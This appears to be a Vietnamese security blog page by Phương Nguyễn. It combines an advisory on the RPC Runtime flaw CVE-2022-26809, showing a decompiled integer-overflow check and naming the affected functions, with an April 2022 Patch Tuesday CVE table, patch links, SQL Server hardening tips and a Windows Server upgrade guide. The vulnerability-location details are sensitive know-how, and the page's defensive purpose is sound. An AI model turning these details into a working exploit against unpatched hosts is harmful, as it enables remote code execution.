Trong đó tại hàm QUEUE :: PutOnQueue thuộc OSF_SCALL ::

ProcessReceivePDU có chức năng kiểm tra việc tràn số nguyên ( integer overflows

check ).

	int64 	fastcall sub_l80042028(unsigned int currentvalue, int addition, int *output) {
unsigned int afterAddition; // eax
int v4; // edx
	int64 result; // rax
afterAddition = currentvalue + addition;
v4 = -1;
if ( afterAddition >= currentvalue )
v4 = afterAddition;
result = afterAddition < currentvalue ? 0x80070216 : 0;
’output = v4;
return result;
}

Tại OSF_SCALL:GetCoalescedBuffer việc tràn số nguyên này có thể gây lỗi heap buffer overflow từ đó có thể ghi ngoài giới hạn bộ đệm heap và thực thi mã tùy ý. Một số hàm khác cũng tương tự bao gồm:

  • OSF_CCALL::ProcessResponse
  • OSF_SCALL::GetCoalescedBuffer
  • OSF_CCALL::GetCoalescedBuffer
  1. Một số lỗ hổng cần quan tâm trong Patch Tuesday tháng 4 của Microsoft

Trong tháng 04/2022, Microsoft đã phát hành bản vá cho 117 lỗ hổng (chưa bao gồm 17 lỗ hổng trong Microsoft Edge), trong đó có 9 lỗ hổng được đánh giá ở mức Nghiêm Trọng và 108 lỗ hổng được đánh giá là Quan Trọng. Tỉ trọng số lượng lỗ hổng như sau: Thực thi mã từ xa (RCE) và Leo thang đặc quyền (EoP) đều chiếm tỉ trọng lớn với 39,3%. Trong các lỗ hổng được vá lần này, cần lưu ý một số CVE được Microsoft đánh giá là nguy hiểm, có khả năng bị tấn công cao trong thực tế:

CVE

Lỗ hổng

CVSS

Mô tả

CVE-2022-

26809

RPC Runtime Library Remote Code

9.8

Lỗ hổng thực thi mã từ xa trong RPC Runtime Library. Chưa có thông tin chi

 

Execution Vulnerability

 

tiết và PoC liên quan đến lỗ hổng trên không gian mạng.

CVE-2022- 24491/24497

Windows Network File System Remote Code Execution Vulnerability

9.8

Lỗ hổng thực thi mã từ xa trong Windows Network File System. Chưa có thông tin chi tiết và PoC liên quan đến lỗ hổng trên không gian mạng.

CVE-2022-

26815

Windows DNS Server Remote Code Execution Vulnerability

7.2

Lỗ hổng thực thi mã từ xa trong Windows DNS Server. Chưa có thông tin chi tiết và PoC liên quan đến lỗ hổng trên không gian mạng.

CVE-2022-

26904

Windows User Profile Service Elevation of

Privilege Vulnerability

7.0

Lỗ hổng leo thang đặc quyền trong Windows User Profile Service. Lỗ hổng đã có PoC công bố trên không gian mạng.

CVE-2022-

24521

Windows Common Log File System Driver Elevation of Privilege

Vulnerability

7.8

Lỗ hổng leo thang đặc quyền trong Windows Common Log File System Driver. Lỗ hổng chưa có thông tin chi tiết và PoC công bố trên không gian mạng. Tuy nhiên, lỗ hổng đã được khai thác trong thực tế.

Cách phòng tránh/fix lỗi/phát hiện:

  1. Lỗ hổng không có dấu hiệu nhận biết cụ thể. Chặn hoặc hạn chế kết nối từ port 445 từ ngoài mạng internet/mạng không phải kết nối trust. Áp dụng khuyến nghị bảo mật giao thức SMB theo nhà phát triển tại :

https://docs.microsoft.com/en-us/windows-server/storage/file-server/smb-secure-traffic

  1. Đề nghị cập nhật bản vá theo đường dẫn phù hợp với từng sản phẩm tại:

https://msrc.microsoft.com/update-guide/releaseNote/2022-Apr

Hoặc theo các CVE khuyến cáo như sau:

CVE

Bản vá

CVE-2022-26809

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-26809

CVE-2022- 24491/24497

https://msrc.microsoft.com/update-guide/en- US/vulnerability/CVE-2022-24491 https://msrc.microsoft.com/update-guide/en- US/vulnerability/CVE-2022-24497

CVE-2022-26815

https://msrc.microsoft.com/update-guide/en- US/vulnerability/CVE-2022-26815

CVE-2022-26904

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-26904

CVE-2022-24521

https://msrc.microsoft.com/update-guide/en- US/vulnerability/CVE-2022-24521

Phương Nguyễn

Chia sẽ 1 số cách bảo mật SQL Server

Có thể là hình ảnh về văn bản

Sáng nay có bạn alo hỏi vụ sql tấn công và ăn cua…
Tình hình có vẻ căng vụ publishing port SQL Server 1433 nhất là thuê hosting vps.
Một số ý khuyến cáo chia sẽ ae bảo mật Server SQL:
1/ Buộc phải có tường lửa nếu thuê hosting thì cũng nên thuê thêm. Còn túng quá change port SQL.
2/ Access policy cho 1 số dịch vụ out in.
3/ Change mật khẩu quản trị sa mức độ phức tạp tránh bị bruce force.
4/ Phân quyền user logon và user ower db cần thiết. Không sử dụng quyền sa hoặc system admin roles để chạy user databases.
5/ Bảo mật chính application các bạn đang chạy như password admin root hay tài khoản có quyền admin…
6/ Update path KB mới nhất MSSQL.
7/ Update Os Windows Server mới nhất.
8/ Cài đặt antivirus và update mới nhất bật ips nếu có ví dụ SEP, Kis, mcafee….
9/ Công tác này rất quan trọng là rà soát backup 3-2-1 tốt nhất backup lên đám mây và sử dụng VPN tránh bị ăn ransomware…
Những ai đang chạy public trực tiếp xem xét khoá lại. Bài viết không nói rõ ứng dụng đích danh nào mà nói chung cho tất cả ứng dụng sử dụng SQL làm CSDL.
Nghe đâu SQL server đang bị dính Cobalt Strike.

#jsisen#phuongit#sqlserver#CobaltStrike#warning#cve202226809

Vui lòng ghi rõ nguồn nếu copy

Phương Nguyễn

HƯỚNG DẪN CẬP NHẬT IN-PLACE WINDOWS SERVER 2019 LÊN WINDOWS SERVER 2022

Mô tả

Cập nhật Windows Server 2016/20219 tại chổ in-place lên Windows server 2022

Chuẩn bị

Source ISO Windows Server 2022

Update Windows server full các bản vá mới nhất.

3/ Tiến hành cập nhật in-place

Mount ISO

Chọn Desktop

Sau khi udpate khoản thời gian 15-30 tùy theo dung lượng và dịch vụ của Windows server

Lưu ý trước khi phải backup full VM nêu máy ảo, backup full dịch vụ ứng dụng db bên trong.

Phương Nguyễn

Chúc các bạn thành công